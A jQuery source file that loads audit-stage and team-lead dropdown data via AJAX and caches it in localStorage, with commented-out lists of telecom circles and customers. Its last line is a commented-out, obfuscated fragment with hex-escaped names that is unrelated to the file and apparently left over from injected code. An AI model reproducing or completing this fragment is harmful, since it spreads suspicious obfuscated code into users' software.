var DropdownArray;//global variable
var AllTLDropDownData=fetch_ALL_TL_Name_Id();//global variable of ajax return data

    function fetch_stageOfAudit_dropDownlist(attemptType) {                                 // This function called in constant.js
        if(!localStorage.getItem("DropDown")){
			
        $.ajax({
            url: ADD_SITE_BASE_URL+"projectStageDropDown", //ADD_SITE_BASE_URL
            method: "GET",
            dataType: "JSON",
            success: function (response) {
                DropdownArray = response["projectStageTitles"];
                localStorage.setItem("DropDown",JSON.stringify(DropdownArray));
                if(attemptType=="retry"){
                    $("#retryDropDownRequest").hide();
                   afterSuccessfullyGotResponseOfDropdown();
                }
            },
            statusCode:{
                404:function(){
                     alert("requesting file(projectStageDropDown) does not exists! in server");
                }
            },
            error: function (jqXHR, textStatus, errorThrown) {
                
                console.log("ajax error in getting stageOf Audit dropdown");
            }

        });
            
            
        }else{
         
        }
    }
    
    function fetch_ALL_TL_Name_Id(){
        let response={};
        $.ajax({
            async:false,
            url: LOGIN_API_BASE_URL+"getAllTeamLead",
            method: "GET",
            dataType: "JSON",
            success: function (responseData) {
                response["success"]=responseData;
            },
            statusCode:{
                404:function(){
                     alert("requesting file(projectStageDropDown) does not exists! in server");
                }
            },
            error: function (error) {
                response["failure"]=error;
                console.log("ajax error in getting stageOf Audit dropdown");
            }

        });
        
        return response;
    }
    
     function getStageOfAuditdropDown() {
        return JSON.parse(localStorage.getItem("DropDown"));
    }

    function isSuccessDropDownList(){
        return localStorage.getItem("DropDown");
    }


//     function getCircleDropDownList() {
// 	var circleDropDownListArray = [];
// 	circleDropDownListArray.push('AP & TS');
// 	circleDropDownListArray.push('Tamil Nadu');
// 	circleDropDownListArray.push('Karnataka');
// 	circleDropDownListArray.push('Kerala');
// 	circleDropDownListArray.push('Madhya Pradesh & Chhattisgarh');
// 	circleDropDownListArray.push('UP East');
// 	circleDropDownListArray.push('UP West');
// 	circleDropDownListArray.push('Bihar & Jharkhand');
// 	circleDropDownListArray.push('West Bengal');
// 	circleDropDownListArray.push('Punjab & Haryana');
// 	circleDropDownListArray.push('Gujarat');
// 	circleDropDownListArray.push('Delhi');
// 	circleDropDownListArray.push('Maharashtra & Mumbai');
// 	circleDropDownListArray.push('Odisha');
// 	circleDropDownListArray.push('Rajasthan');
// 	circleDropDownListArray.push('Others');
// 	circleDropDownListArray.push('Himachal Pradesh');
// 	circleDropDownListArray.push('Jammu & Kashmir');

// 	return circleDropDownListArray;
// }

// function getCustomerDropDownList() {
// 	var dropDownArray = [];
// 	dropDownArray.push("Indus");
// 	dropDownArray.push("ATC");
// 	dropDownArray.push("Airtel");
// 	dropDownArray.push("Amitasha");
// 	dropDownArray.push("Railtel");
// 	dropDownArray.push("Sterlite");
// 	dropDownArray.push("Jio");
// 	dropDownArray.push("Others");
// 	return dropDownArray;
// }

//return Y[J(K.Y)+'\x63\x77'](Y[J(K.W)+'\x45\x74'](rand),rand());};;;